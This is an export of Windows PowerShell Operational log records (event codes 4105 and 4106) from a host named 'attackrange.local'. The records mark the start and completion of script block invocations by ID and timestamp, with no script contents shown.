LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648819
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648818
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648817
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648815
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648833
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648831
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648829
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648827
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648825
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648843
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648841
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648839
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648837
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648835
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648853
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648851
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648849
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648848
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648847
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648845
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648863
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648861
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648859
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648857
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648855
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648873
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648871
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648869
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648867
Keywords=None
